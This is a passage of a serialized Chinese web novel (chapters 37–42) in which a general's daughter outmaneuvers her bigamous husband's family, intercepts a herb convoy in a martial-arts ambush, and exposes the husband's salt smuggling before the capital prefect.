《用功勋换休妻,我官居一品你哭啥?》 第37章 破口大骂 姜云舒眉梢微挑,唇角勾勒出一抹淡笑。 “这种戏没什么好看的,与其在沈家人身上浪费时间,不如去找长明大师下棋。” 原本她来崇光寺这一趟也是为了来找长明大师,跟沈家人一起来,倒是帮她掩人耳目了。 崇明殿外。 沈家众人以为,只要迈进崇明殿的大门,便能随意进入,却不想,进入内殿时又被小沙弥拦住。 “崇明内殿乃皇室重地,诸位施主请留步。”小沙弥上前行礼。 “我们如何不能入内,我们是有令牌的。” 老夫人开口,说话间转身往后看,这才想起,姜云舒被她支出去了。 没有姜云舒,别说还愿,便是这道门槛他们都进不去。 老夫人“啧”了一声,有些懊恼又有些烦躁。 “吉祥,去找姜氏要令牌。”她吩咐道。 “是!”吉祥应一声,转身往外走。 吉祥刚出去,就见外门口身着锦衣绸缎,与沈家老夫人年纪相仿的贵妇人由丫鬟搀着往里走。 这位贵妇人身上穿的是绫罗绸缎,头上戴的是金钗玉环,手腕上那对织金龙凤镯更是高贵身份的象征。 瞧见她,老夫人脸上的表情一瞬间变了好几变,最后面上堆了笑迎过去。 “哎呀,原来是信阳侯府闵太君!” 说话间,招呼沈清安和高芝兰上前,“这位便是信阳侯府的闵太君,还不快行礼。” “晚辈光禄寺少卿沈清安参见闵太君。”沈清安快速反应过来,上前行礼。 高芝兰愣了一瞬,见沈清安行礼,也跟着,“妾身参见闵太君。” 闵太君刚进崇明殿便迎上沈家这帮人,此刻被拦了路,稍有不悦,不过,听到是沈清安,停下脚步,视线在他身上打量。 “你便是当年那探花?”闵太君挑眉。 “是。”沈清安应道。 闵太君的视线又扫过一旁的高芝兰,“听说沈大人此次回京还带回了一女子,对外宣称是原配,便是你?” 沈清安倒也没那么张扬对外宣称,不过裴钰是个大嘴巴,平日里就爱四处流窜,没两天便将沈家这点事传了出去。 闵太君气势强大,面上神情不形于色,高芝兰一时拿捏不准,便侧目看向一旁的沈清安。 “回闵太君的话,多年前我与芝兰失散,不想竟在岩城重逢,这才将她带了回来。” 说话间,给高芝兰使了个眼色,高芝兰会意,又一拜。 “妾身沈高氏,参见闵太君。” 老夫人瞧着闵太君的神情,凑上前,“我们今日是来还愿,不想出门急将令牌遗落家中,不知可否与闵太君一同进去?” 令牌虽是通行证,但有闵太君在,那令牌也没什么要紧的了。 然而,闵太君可不吃这一套。 “我信阳侯府与你沈家并无来往,不好随意带人进入。” 说话间,视线在沈家众人中扫过,眉心微微蹙起,“怎的不见姜家那丫头?” 看出闵太君对高芝兰不喜,老夫人便上前一步,回道:“崇光寺乃皇家寺院,姜氏一介罪臣之女,来这里不合适。” 老夫人说得正气凛然,却引得闵太君一声冷笑。 “她不合适,你们就合适?” 这语气,讽刺之意再明显不过,沈家众人面上均是一僵,张张嘴尚未开口,只见闵太君眸光一凛。 “你们口中的罪臣,镇守北域三十多年,为我大瑞江山收复失地十六城,当年亦是身中数箭将当今皇帝推上皇位,赫赫战功之臣,岂是你等有资格议论评判!” 几句话,更是将沈家人噎了个结实。 老夫人白了脸,嘴角颤动着,愣是没说出一句话,沈清安即便心有怒意却也不敢反驳,高芝兰更是垂着头浑身紧绷。 闵太君瞧着这家子人的反应,更是气不打一出来。 “倒是你这探花郎,当年若没有姜兆霖的托举,你能有如今这等功绩?水患治理,节流分支,南水北引,修筑堤坝,哪一项又是你自己的功劳?如今你倒是避讳姜家那丫头是罪臣之女,也不看看你自己是个什么拿不出手的玩意儿!” 北域边境常年雨季大水,姜兆霖是用了三十年摸索用这几种方式制住水患,别人或许不清楚,但闵太君娘家便在北域境内,她比别人更明白清楚定国将军府于北域的功劳。 别人都说沈清安年轻有为,却不知他的治理方案都是来自于姜兆霖,便是修筑堤坝的设计图,亦是姜家长兄亲自绘制,他自己出了几分力,他心知肚明。 原本沈清安对外闭口不谈,便心安理得承接这功劳,如今被闵太君戳破,仿若被人扒光了衣物,羞愤屈辱遍布全身。 他死死攥住拳头,一言不发,随后便听闵太君冷哼一声。 “也不知姜兆霖当初看上你什么,舍我谭家选了你这么个薄情寡义之人!” 说完,闵太君抬脚往里走,一边吩咐小沙弥,“关上大门,别随随便便放什么阿猫阿狗的进来!” 这日不再有其他皇权贵胄来崇明殿,小沙弥应声,大门咣当一声,将沈家众人关在了外面。 沈家众人险些被大门拍了鼻子,下意识后退两步,老夫人更是趔趄着,险些摔倒。 之前跟姜云舒参加宴会,她便看得出闵太君瞧不上沈家,不过面上也和和气气,如今这是抽的什么风! “姜氏怎的还不来!来人,再去外面找!”老夫人受了气,忍不住怒喝一声。 随行小厮不敢迟疑,紧忙转身往外跑。 这边寺院丈室,姜云舒和长明大师分坐软塌两侧,紧盯着棋盘上的局势,随着姜云舒黑子落下,她唇角勾了起来。 “长明大师,承让!”她昂着头,面上带着笑,说话间,自背后朝月禾招招手。 月禾瞬间会意,将姜云舒身后的白子悄无声息的收起来。 嗯,自家小姐棋艺不精,但出千的本事可厉害呢。 长明大师眯着眼睛盯着棋盘确认一遍,也没发现自己的棋子被姜云舒悄无声息的偷拿了好几颗,只能叹气认输。 “你这丫头,倒是长进不少。”长明大师捋了捋胡须。 “您答应的,若我赢了,可以跟您要一样东西。”姜云舒挑眉,随即不知从哪里掏出一张地形图,朝其中指了指,“我要崇光寺外这片湿地。” 第38章 让她生个孩子 崇光寺乃皇家寺院,除寺庙宏伟,周边几个山头也归属崇光寺。 长明大师低头一看,眉心就蹙了起来,“崇光寺虽掌管周边山林与耕地,可这地契归属皇室,即便是贫僧也不能私自拨让给你。” “但使用权是您说了算啊。”姜云舒挑眉,晶亮的眼中光芒闪过,“您给我一纸委托,我就能在这片湿地上种草药,您知道的,有些草药生长环境苛刻,这片湿地可是有大用处。” “这……”长明大师依旧迟疑。 “哎呀,我也不是只为了自己,我是想着,等我种了药材,其中三成给崇光寺,届时选一黄道吉日,寺中每年设立消疾月为百姓免费治疗,这样一来,不仅崇光寺香火倍增,您还功德无量呢!”姜云舒继续诱导。 听她这样说,长明大师神情的确松动了。 “就你激灵。”长明大师抬手,亲自给姜云舒跟前杯盏续满,“不过,你这是善举,夏日疾病多发,如此的确能救助不少买不起药的穷苦百姓,罢了,我给你写便是。” 说着,长明大师自文案上取了纸笔,写好委托又盖上章印,交给姜云舒。 姜云舒低头抿着茶,晶亮的眼中带着喜色,倒是比想象中顺利。 丈室之外。 沈家人进不去崇明殿,可这愿还是要还,众人折回去前面大殿,此刻,香客已经排起了长队。 春季风寒,沈长元一个劲儿地吵嚷着要回去,老夫人也冷得嘴唇发白,可也只能排着,毕竟,当初她可是在菩萨面前发了誓言,若不来还愿,便让她减寿十年。 如今沈家日子正好,她多活几年还来不及,减寿可不行。 足足排了两个时辰,沈家众人隆重盛装而来,急赤白脸地挤了一通,最后气喘吁吁出来。 终于还了愿,众人紧着往外走,刚到寺院门口,就见姜云舒和月禾急匆匆而来。 “姜氏,你是故意的!”老夫人劈头盖脸便是一句。 姜云舒定住脚步,一脸无辜。 “老夫人这话从而说起?” “哼,你少跟我揣着明白装糊涂,我问你,你这半日去了哪里?”老夫人说着,手中拐杖重重地往地上一戳。 仿佛但凡姜云舒的回答不让她满意,这拐杖便要抡在姜云舒身上。 “不是老夫人遣我去拿佛珠吗?我去马车找了,没有找到,我知那佛珠对老夫人极为重要,担心丢了便一路找回去,结果福寿园的丫鬟在供桌上找到。” 说话间,姜云舒拿出一串佛珠,递给老夫人,“老夫人,是您忘记带了。” 老夫人:“……” 话被姜云舒堵得死死的。 老夫人一肚子气没处发,涨得胸口疼,还没来得及再说,就见姜云舒抬头看一眼。 “这个时间,想来你们已经还了愿,老夫人大病初愈,还是尽早回去吧。” 一边说着,将身上的斗篷扯了扯。 真暖和。 回去路上,除了姜云舒,沈家众人一路黑着脸。 回到福寿园,老夫人靠在暖踏上,暖了半晌才总算感觉活过来了。 她手里捧着暖炉,盯着屋内的火炉,似是衡量什么,片刻,吩咐吉祥。 “让大郎过来。” 吉祥应声往外走,一炷香后,沈清安来了福寿园,跟着一起来的还有高芝兰。 老夫人本来没想让高芝兰过来,不过人都来了,也不能让她走。 “定国将军府于姜氏的确不似预想那般连罪,倒也不必太过忌讳,如今看来,她于我沈家到底还有些用处……” 老夫人说话间,抿了一口茶,看向沈清安,“她到底是我沈家后宅女眷,你给她留个孩子,她才能全心留在沈家,日后为了孩子着想,自然也会处处为沈家考虑。” 都说母凭子贵,便是深宫里的娘娘们,也是费尽心思为自己的孩子打算,姜云舒如今甩手不管沈家,是因为她可以什么都不顾,有了孩子就不一样了。 沈清安尚未回话,高芝兰却忍不住开了口。 “老夫人,您是知道的,相公对她多有厌恶,原本是要将她赶出沈家的!” 高芝兰仗着沈清安的偏爱和子嗣傍身,在姜云舒面前处处彰显优越感,可她自己也清楚,她没有安全感,姜云舒有好的出身,在京城有人脉,不管是从哪哪一层,她都被姜云舒压得死死的。 尤其几次接触下来,她看出来,即便没有沈家,姜云舒依旧能从容不迫,可她,离了沈家,什么都不是。 “你急什么!”老夫人将杯盏往桌上一顿,“又没说让你让出主母之位,姜氏也是进了我沈家门的,为沈家开枝散叶再正常不过,大郎仕途坦荡,这后院迟早要充盈,你若连这都要争风吃醋,往后沈家后宅怕是不得安宁。” 高芝兰眼眶泛红,她委屈不甘,可老夫人所说无法反驳。 沈清安见高芝兰这般,不着痕迹的在她手上握了一下,才朝老夫人回话。 “儿子知道了。” 是夜,璀璨的星星和明亮的月光似是阻挡了夜的黑暗,夜风之中夹杂着淡淡的药草香味扑面而来。 沈清安来时,姜云舒正在对账,听得外面通报,转手将账册收了起来。 “大人深夜过来,不知有何要事?”姜云舒先开口。 沈清安听出姜云舒言语之间的疏离执意,当下蹙起眉心,随即又想到此时来的目的,到底压住了怒意。 “听二郎说,那日你也受了伤,今日我特意跟杨大夫要了伤药,给你送过来。”说着,他将准备好的伤药拿出来。 姜云舒抬头,唇角勾起的笑意似有些无语。 别说她并没有受伤,就是真的伤了,他这药送得是不是太晚了? 他这是给自己找台阶呢。 姜云舒看破不说破,伸手接了过来,漫不经心地回了一句,“多谢。” 沈清安瞧着她面上神情,往跟前凑近两步,没话找话。 “你……这些年,辛苦了。”他突兀开口。 “嗯,是很辛苦。”姜云舒应一声。 沈清安:“……” 一句话,让姜云舒把天聊死了。 沈清安眉心又拧起来,索性把话说得直白些。 “我知你因为芝兰心有郁结,可她终究是我的原配发妻,你既进了我沈家门,我自会为你留一席之地,芝兰向来大度能容人,也愿与你共同协理后宅,你若明理,自应处处以沈家为先。” 能让姜云舒共同协理后宅,这对于姜云舒来,可是能在沈家站稳脚跟的依仗,她理应感恩戴德才对。 沈清安正了正身子,等着看到姜云舒感动狂喜的表情。 第39章 允许你为我生个孩子 然而,半晌也不见姜云舒神情有太多变化。 “哦,那我还得谢谢她。”她漫不经心地回一句。 沈清安顿了一下,下意识抬起眉毛,见姜云舒神情平淡不似生气,只当她顺从,神情也稍稍缓和。 “你能明白最好。” 说着,侧身走近,朝她张开手臂。 姜云舒愣住,防备一般看向他,“沈大人这是何意?” “怎么,侍奉夫君都不会?” 沈清安睨着姜云舒,眼底嘲讽毫不掩饰,“若你从今往后安分守己,与芝兰协理沈家一应事务,我可以让你留下沈家子嗣。” 施舍给姜云舒一个孩子,姜云舒自然要对沈家感恩戴德,奉献所有,包括她那丰厚的嫁妆。 沈清安话说得委婉,意思却表达得直白,姜云舒自然明白。 人在极其无语时,是真的会被气笑。 “沈大人口口声声表明与我的姻缘实乃我定国将军府仗势压人,如今我母家大势已去,沈大人大可不必委屈自己到这般地步。” 姜云舒再后退一步,与沈清安拉开距离,“老太太说得对,这些年我的确辛苦,也是该歇歇了。” 说完,她转身,自顾倒了一杯茶,慢条斯理地品着。 沈清安面色瞬间凝滞。 她拒绝了。 她竟然拒绝了! 他纡尊降贵进了她的房门,甚至允许她有个子嗣傍身,她竟然拒绝! “姜云舒,我说过,欲擒故纵并非情趣,你也知定国将军府如今大势已去,那你更应该明白,只有留下子嗣,你才能在沈家站稳脚跟。”沈清安咬着牙,似疏导又似警告。 他都允许让她留下子嗣,她凭什么还不愿意。 “我也说过,沈大人多虑了,强扭的瓜不甜,你真没必要委屈自己。” 姜云舒抬头看他,烛光之下,那双眼睛漆黑深邃,明明看起来平静,却又透着无边的寒凉,这样的眼神,让沈清安有种伸手却抓不住的无力感。 不是这样的,曾经的姜云舒不是这样。 “哼,是你自己不识好歹,那我便遂了你的意!” 沈清安怒喝一声,拂袖而去。 待他离开,月禾端着一只碟子,到门口,抓着碟子里的大米往门口一撒。 “去去去,赶紧祛了这晦气!” 大米撒完,转身进屋,“砰”的一声将门关上。 屋内,姜云舒捧着热茶细品,相比月禾满腔怒意,她倒是平淡许多。 “要不是小姐拦着,我便直接拿棍子将他赶出去!”月禾依旧愤愤不平。 骗婚的狗东西,竟然还想让小姐给他生个孩子,生他奶奶个腿儿! “气什么,事出反常必有妖,他态度突然转变,要么是在崇明殿外受了闵太君的刺激,意识到我还有利用价值,要么,便是想从我身上算计什么,相比暗箭,他如今表露出来,我们才好应对。” 月禾想想,觉得小姐说得对。 “对了,方才在外面,我收到裴世子的信。”说着,她从腰间取出一张字条,送到姜云舒面前。 姜云舒将字条展开,凑近烛灯边,看到上面的字,唇角不自觉的勾了起来。 “岩城来的药材已经到了平洲境内,咱们也该出发了。” 三日后,平洲。 黑沉沉的夜,仿若无边的浓墨,重重地涂抹在天际,连星星的微光都没有。 漆黑之下,姜云舒坐在河岸草地上,手持鱼竿静等愿者上钩。 不远处,裴钰不知从什么地方出现,朝着姜云舒走来。 “嘿,你还别说,三皇子的侍卫队真的来了,怎么,你在三皇子身边也有眼线?” 到了跟前,他侧了侧身子,坐在姜云舒身边。 姜云舒手中鱼竿不动,黑夜之下,唇角微微勾起一抹弧度。 “此处往前二十里便是平洲和京城接壤之地,三皇子的队伍不管是来接手货物还是暗中抢夺,这里是最佳时机,而且,最近平洲不太平,山匪横行,对于夜行走镖来说,这条路亦是最佳选择。” 说着,她抬手朝不远处一指,“若是抢,埋伏在前面的狭地再合适不过。” 裴钰顺着她的手看去,正要说话,就听不远处传来乱杂的脚步声。 “嗯,来了,你说得对!” 说着,他站起身来,狭地的方向已经传来了喊杀声。 他收回视线又看向纹丝不动的姜云舒,又加了一句,“看来是生抢了。” 姜云舒略感失望。 看来,在京中和沈清安有接应的也不是三皇子。 之前试探,排除了吏部侍郎,如今又排除三皇子,这条线,似乎还要往深处摸索。 “罢了,不急于一时。”姜云舒轻叹一声,将鱼竿放下,起身,“走把,去看热闹。” 几个人自河边往外走,树林之中,一队车马隐匿其中,见姜云舒来,领队出来拜见。 “主子。” “你们且在此等候,待那边安静下来,车队再出来。” 姜云舒吩咐一声,脚尖轻点,自黑夜之中朝厮杀处飞去。 狭地之上,不远处的百年老柳树上,姜云舒和裴钰隐身在丝丝缕缕的柳条之中,两人低头看着下面厮杀,判断双方实力。 “三皇子的侍卫队暂且不说,那岩城车队中有军营中人,你不怕惹祸上身?”裴钰歪着头看向姜云舒。 所谓三皇子的侍卫队,在出了城门之后便露出原来装扮,竟是一群江湖中人,裴钰手下的人来报,其中几个还在江湖追杀令中,想来实力不一般。 这样的人,杀了也就杀了,可岩城车队中却有军营众人存在,杀军人,可是重罪。 黑夜之下,姜云舒一双眸子越发清亮,她依旧盯着厮杀的双方,漫不经心开口。 “他们死了,也是三皇子这帮人杀的,毕竟,其中那几个还在江湖追杀令中,除了三皇子的人,此处还有山匪横行,我不过是路过,如何查到我身上?” 她朝裴钰眨眨眼睛,一脸无辜。 裴钰长舒一口气,朝她伸了伸大拇指,“要说鸡贼还得是你姜云舒啊!” 这边老柳树上两人看戏,狭地之中,双方嘶喊砍杀,到底是杀戮者,很快车队镖师便败下阵来,眼看着岩城车队之中只剩赵一刀一个人苦苦支撑,姜云舒不由得眉梢轻挑。 “不愧是赵一刀,果真抗打。” 说着,她抬手向外放出信号,此刻埋伏在上游的人迅速出动,从外侧将喊杀的众人重重包围住。 “你们是什么人!”三皇子的侍卫之中,有人怒喝一声。 第40章 给我做压寨夫人 没有人回,来者只抬手朝那问话的亮出了剑,一时间,打杀声再次响起。 姜云舒这边都是听泉山庄的高手,不一会儿功夫便压制住了三皇子的人。 姜云舒和裴钰看了一会儿,起身,“走吧,是时候去收战利品了。” 此时沙场距离岩城马车停留的方向有一里远。 说完,她腾身而起,黑夜之中,百年老柳树上飞出两个人影,朝着岩城车队的方向而去。 谁知刚到马车队停留之地,姜云舒就见一群黑衣人已经先他们一步控制住马车,眼看就要离开。 “狗日的,敢抢爷的东西的,给爷站住!” 裴钰大喊一声,提剑冲了上去。 五辆马车,黑衣人兵分两路朝着不同的方向跑,姜云舒和月禾也紧跟着冲向了另一边。 以他们的速度,姜云舒和月禾是能赶上的,然而,眼看着到了跟前,突然一黑衣人反身,长剑直逼姜云舒。 姜云舒迅速调整方向,侧身躲过一剑的同时,回手抽出腰间软鞭朝那黑衣人甩了出去。 “月禾,追上他们。” 姜云舒朝月禾大喊一声,在黑衣人长剑甩过来时,长鞭扬起,缠绕在那剑刃之上。 “山匪?”姜云舒冷冷开口。 黑衣人不回,只不屑的“哼”了一声,手腕调转方向,拽着姜云舒的长鞭朝她刺了过来。 姜云舒后退两步,侧身躲过那剑,另一手中不知何时多了一柄匕首,朝着那人心口插了去,却不想,那人速度极快,先一步钳住了她的手腕。 两人在兵器缠绕之下,距离拉得很近,黑人一身夜行装扮,黑色面罩遮住他的脸,只留一双染着死亡气息的深眸,那眸中似乎带着煞气 强烈的杀伐之气。 这不对,山匪多为草寇出身,虽凶狠却不精炼,眼下这人招式犀利步步强势,便是姜云舒这般自沙场历练也被他压制, “你到底是什么人!”姜云舒持匕首的手朝黑衣人身上压去。 “打赢我就告诉你。”黑衣人开口。 他的声音磁性却又透着一股沁人心骨的阴凉,仿佛地狱之中勾魂的使者一般。 这样的强压气势,姜云舒还是第一次感觉到。 夜光之下,她的眼睛之中闪过寒凉之意,藏匿许久的肃杀之气滕然绽开,下一瞬,就见她身子在空中借势反身,一个旋转抽回长鞭,续足了力量朝那黑衣人抽了过去。 长鞭自夜空之中划过,发出凌厉的风声,如白蛇吐信一般,嘶嘶破风朝那黑衣人袭去,几乎不可能躲开,然而,让姜云舒惊讶的是,他竟然不躲,甚至还直接迎了上来,抬手拽住了长鞭,猛地用力,再次将姜云舒拽了过去。 姜云舒一时分神被他钳制住力量,“你没事?” 她的银龙长鞭尖端是有倒刺的,倒刺上还淬了毒,若是常人,瞬间之内便可全身僵硬到底不起,可他竟然没用。 黑衣人低头,阴寒的视线落在姜云舒脸上,倏地,笑了起来。 “这些雕虫小技对我没用。” 说话间,他手上再次用力,耳边传来兵器触碰的刺耳,姜云舒这才看清楚,他手上竟戴着一直铁甲护手。 难怪。 姜云舒心道大意了,抬头与黑衣人对视,眼底带着不服的愠怒。 “小丫头,跟我回山寨,给我当压寨夫人如何?” 黑衣人的手指缓缓磨蹭着姜云舒下巴的皮肤,姜云舒顿时感觉寒意沁骨,鸡皮疙瘩就起来了。 “我这个人……” 姜云舒迎着黑衣人的目光,闪过一个微笑紧接着眸光一闪,“向来讨厌被人强迫!” 她晶亮的眸中闪过一抹狡黠,然后,抬手呈虎爪状往他裆处迅速掏了过去。 黑衣人楞了一下,紧接着脸色骤变,身子猛地一缩,像个大虾似的弓了起来。 嘿,得手了! 姜云舒迅速抽回银龙长鞭,一个翻身,手成虎爪朝那黑衣人心口袭去,黑衣人反应迅速,堪堪躲过这致命一击,却被姜云舒在脖子上留下了一道血痕。 “没想到,还是一只带爪的猫,如此,这压寨夫人你是非做不可了。” 黑衣人站定,暗如深潭的眸中涌动着让人看不懂的神思,下一瞬,极速般朝姜云舒冲过来。 姜云舒抬手,银龙长鞭朝那黑衣人甩过去,然而,黑衣人那只铁甲护手却拆解了她的攻势,下一瞬,再次拽着长鞭将姜云舒拉至跟前。 “跟我走,别说几车草药,你要什么都给你。”黑衣人笑意蛊惑,又带着一丝不容忽视的阴冷。 姜云舒面色沉郁,在他面前,她似乎连挣扎的余地都没有,她很讨厌这种无能为力的感觉。 “要我给你做压寨夫人,总得让我知道你是哪个寨子的。”她亦勾起唇看向那黑衣人。 “如此,你是同意了?”黑衣人说话间,低头往姜云舒跟前凑过来,却在此刻,空中亮起光芒。 那是信号。 “看来,这次是不成了,下次,我再来接你做压寨夫人!” 黑衣人顿了一下,抬手在姜云舒发间滑过,同时另一手松开银龙长鞭,下一瞬,姜云舒已经距离他十几步。 姜云舒站定,伸手朝发间摸去,原本簪发的白玉簪不见了。 “这个,便是定情信物了。”黑衣人抬手,朝姜云舒挥了挥得手的发簪,不等姜云舒反应,一个转身隐于黑夜之中。 姜云舒没有追,盯着黑衣人离开的方向,眼底寒意蔓延开来。 姜兆霖对外刻意隐瞒姜云舒领兵作战的战绩,在外人面前,她不过是比寻常女子会些拳脚,可在定国将军府,姜云舒的武功可是仅次于大哥,便是爹爹手下副将都是姜云舒的手下败将。 可就在刚刚与黑衣人交手,那种不可控制的挫败感,像是一块巨石堵在心口。 “姜云舒,你这边怎么样?” 这时,裴钰和月禾自两边朝姜云舒这里汇聚而来。 “狗日的山匪,他们竟然还有接应!”裴钰抢丢了,顿时一肚子憋屈。 月禾脸色也不好看,她怒气冲冲地收了剑,朝姜云舒道:“那些人身手和部署不像是山匪。” 第41章 你得感谢我 “的确不是。” 姜云舒赞同月禾的猜想,说话间,转身,此刻被她拦截下来的那辆马车已经倾倒,上面的药材箱子也跟着滚落了一地。 裴钰跟着看去,原本郁结的表情瞬间散开。 “好歹还拦下来一车,否则咱们今晚是白忙活了!” 说着,他朝那马车跑过,一箱一箱验看,“黄连、秦皮、地榆、白头翁、葛根,生地榆,倒是此时疫病所需。” “带走吧。” 姜云舒心情不好,吩咐一声径自往前走。 裴钰和月禾面面相觑,他们不知道姜云舒发生了什么,只当她这想当黄雀的被人截了胡,心里不痛快。 京城,城东正门。 原本以姜云舒的方向,是应该从南门进的,但她选择东门是因为今日城门守卫当值的是郭朝,那个被污蔑偷沈家钱物的郭攀的兄长。 郭朝认得姜云舒,例行检查之后,过来跟姜云舒打招呼。 “沈夫人,怎的这次亲自出城置办药材?” “这次是草药的秧苗,我得亲自盯着才放心。”姜云舒如实回答,随即话题一转,“你娘的病如何了?” 上次郭攀被老夫人算计,就是因为他娘病重,姜云舒将他从沈家人手里救下来后,又给了他银子让他回家确认娘亲的安危,如今已经过去好几日,郭攀还没回来。 “请了仁春堂的大夫过来,连喝了三幅药剂,如今已经大好,昨日郭攀还跟我说准备回沈家呢。” 郭朝回答,随即朝姜云舒抱拳,“多谢姜夫人为我弟弟解围,若非违背军令,您但凡开口,我定全力以赴。” 郭朝是城门守卫,无数无名小卒中的一个,虽身份卑微,但总也有些用处。 “你严重了,郭攀是我院子里的人,我自然要护着他。” 姜云舒勾了勾唇角,说话间,似是想起什么,“不过,有件事我似乎真要麻烦你。” 说着,她伸手朝后面那辆破损的马车一指。 “这辆马车是我们经过平洲时捡来的,车上都是药材,原本是有五辆马车,但我们能力有限,只拦截了一车,如今进城,我准备将马车拉去京兆尹。” 说话时,姜云舒还沉沉叹了一口气,略有惋惜。 听她这样说,郭朝面上顿时严肃起来。 京城对药材有所管制,尤其是商队入城,车内药材要与订单上相符,如今后面这车药材需要他们亲自押送。 “行,我跟你们走一趟。”郭朝应道。 “多谢。” 姜云舒勾了勾唇角,往前走去。 有郭朝这个城守卫带去京兆府,能省下很多麻烦,尤其这车药材是沈清安和高芝兰的货。 去京兆府的路上,月禾凑近姜云舒跟前,压低了声音问:“小姐,既然是郭朝当值,咱们为何不换了箱子送到仁春堂?” 以姜云舒和裴钰的手段,将这车药材收为己用不过举手之劳,原本月禾也以为这药材是要送到仁春堂的,却不想姜云舒竟交公了! 这不符合小姐的行事作风啊! “虽说外箱和印章代表药材的身份,但药材产地不同也会有区别,我若换了咱们的箱子和印章,那便是破绽,这车药,留下只会惹来不必要的麻烦,我们将药材送到京兆府,便把麻烦留给沈清安。” “哦……” 月禾似是明白了点,可又没全明白,不管明白不明白,这车药不能留下,可还是觉着可惜。 一炷香后,车队便到了京兆府门口。 门前衙役拦住车队,郭朝便上前与之交接,衙役进去通报,很快回来放姜云舒进去。 京兆衙门。 姜云舒将自己车队的运送订单和之前从长明大师那里讨来的委托信交给京兆尹。 京兆府尹邢恪,四十多岁的年纪,除了为官公正,能在皇权贵胄之间游走自如,又透着几分圆滑。 邢恪对证了运送订单和委托信又交还给姜云舒。 “真难为你了,能在凶险之中拦截救回一车草药,实属不易,这草药便留在京兆府,你且……” “大人!” 这时,有衙役来报,“光禄寺少卿沈大人和沈夫人来了。” “沈夫人?”邢恪眉梢一挑,看向姜云舒。 沈夫人,不是在这里吗? 姜云舒顺着他的反应,长叹一口气,她不说话,只是将委屈显在了脸上。 邢恪顿感另有隐情,摆手让衙役将人带进来。 衙役应声出门,谁知人还没带进来,院子里传来高芝兰的声音。 “没错,就是这批药草!” 说着话,她抬头瞧见一身官袍的邢恪,当即哭喊开口,“大人可要为我们做主……” 话还没说完,又冷不丁看到跟在邢恪身后的姜云舒,那满脸的表情当即一僵。 “姜云舒,是你?是你派人抢了我们的药材!” 她这一喊,沈清安也朝姜云舒这边看过来,原本就阴沉的脸上又添了一层阴霾。 “姜云舒,你在报复我?”他双眉瞬间凝聚成结,额间青筋也显现出来。 到底是嚣张跋扈惯了,爱而不得便开始报复! “沈大人,空口白话可不能成为证据。” 邢恪在姜云舒之前开口,说话间,将之前姜云舒所交代的供词递给沈清安,“这一车草药,是姜夫人费力救下来的。” 沈清安接过证词,然而,看完之后脸上表情并没有缓解。 “怎么会这么巧,姜云舒,你去平洲做什么?” “去买药材苗子。”姜云舒抬手,指向她自己的车队,“呐,我的货在那边,你若不信可以看我的运货订单。” 在崇光寺外面那片湿地种药材,本就是姜云舒半年前计划好的,如今这批苗子也是三个月前下的订单。 说起来,虽难以置信,但又天衣无缝。 沈清安再次验看姜云舒的订单和委托书,脸上表情越发紧绷。 然而,面对证据,高芝兰依旧不信,“怎么偏偏两打劫的时候就让你遇上了,我的马车损失四辆,你却毫发无损,这谁能信?” “你们倒霉呗。” 月禾忍不住开口,她看向高芝兰,眉梢微挑,“再说了,大路就在那里,你们的车队能走,我们为什么不能走?不过我家小姐积功德得老菩萨保佑,在你车队和劫匪两败俱伤时经过,否则,倒霉的便是我们了。” “你!” 高芝兰气得脸色涨红,伸手指着月禾,半晌没说话来,倒是京兆尹邢恪接过了话。 “证据确凿,沈夫人救下你们的药草,你们应该感谢她才是。”邢恪下定论,随后看向沈清安,又加了一句,“沈大人,你们不是一家吗?怎的如此针锋相对?” “欺人太甚呗!” 此刻,一声清亮男音自门口传来,众人回头,就见裴钰昂首挺胸的走了进来。 第42章 来时好好的,回不去了 裴钰径自走到跟前,挑眉看向沈清安和高芝兰。 “报应啊,老天还是有眼的!” “你!” 高芝兰顿时脸色涨红,“我沈家事与你何干!” 裴钰挑了挑眉间垂落的头发,漫不经心道:“的确跟我没关系,我就是闲的。” “既如此,请你离开。”高芝兰咬着牙。 “呵,这就奇怪了,怎么,京兆府是你家啊?那订单上写的货主可是沈清安,大婶你哪位?”裴钰挑着眉,眼中带笑,却让高芝兰牙咬得更紧了。 “我是沈清安原配正妻,同样是货主!”高芝兰一肚子邪气往上冒,眼睛都红了。 然而,这话一出,就听裴钰“哎呀”一声,随即看向京兆尹邢恪。 “邢大人,当初姜云舒可是从先太后的正明宫上花轿,自正门而入嫁入沈家,你这边官员家眷备案,姜云舒是正妻没错吧?”裴钰装着一脸疑惑,唇角却勾着戏谑的笑。 若说别家,邢恪或许还要查阅文案,可姜云舒出嫁那日可是在京城风光一时,不记得都难。 “自然。”邢恪回答。 “那就奇怪了!”裴钰夸张地瞪大眼睛,“这位也说是沈大人正妻,据我所知,有妻再娶可是重罪,尤其是官员,处罚是什么来着?最轻也是官降两级罚银千两把!” 说着,又看向沈清安,“哎呀呀,五品光禄寺少卿降到七品,那得去远郊呢!” 沈清安阴着脸,额头上青筋隐隐跳动,“裴世子,你休要胡说八道!” 裴钰挑眉,“那你倒是说说,这两位,到底哪个才是你沈家的主母正妻?” 一句话,给沈清安堵在了原地。 沈清安脸色铁青,双手不自觉攥起拳头,下意识看高芝兰一眼,几个字从牙缝里挤出来一般。 “自然是姜氏。” 几个字出口,高芝兰双眸之中瞬间失了神采般,一下子红了眼眶。 “所以,我手上单据足以证明这车药材是我的,如今能不能将其领回?” 沈清安黑着脸,将手里的单据递给邢恪。 邢恪核对了数量和衙役点货的数据清单,精炼的眸中眸光一闪。 “既然可以确定是沈大人的,那今日你便走不了了,来人,将这二位拿下!” 话音刚落,便有衙役从外面进来,不由分说将刀架在了沈清安和高芝兰脖子上。 高芝兰吓坏了,尖叫一声,瞪着眼睛看向邢恪,“府尹大人,这是为何啊!” “我朝律法明文规定,私自贩盐是要重罪下狱的!” 说着,邢恪抬手,便有衙役将一个布袋送到他手里,打开,里面竟是细盐。 “不,不可能!我们的货里都是药材,怎么会有细盐!” 高芝兰到底没经历过刀架在脖子上的恐惧,紧忙看向沈清安,“相公,你快说话啊!” 沈清安脸上也没好到哪里去,但到底比高芝兰冷静许多。 “邢大人,我各类药材分类装货,巷子上了打封条,这盐怕是有人可以栽赃!” 说话的同时,他的视线转向姜云舒,那眼神阴冷得几乎要杀人。 “对,肯定是姜云舒,她一路将货带回来,路上有的是机会做手脚!”高芝兰紧跟着指向姜云舒。 姜云舒迎着沈清安和高芝兰怨毒的目光看过去,平静的眸中嘲讽漾开。 “你既称沈清安为相公,那么我提醒你一句,污蔑当家主母,你是要被乱棍打死的。” 刚说完,月禾便从旁边衙役手里拿过棍子朝这边走过来。 高芝兰顿时一激灵,下意识往沈清安身后躲。 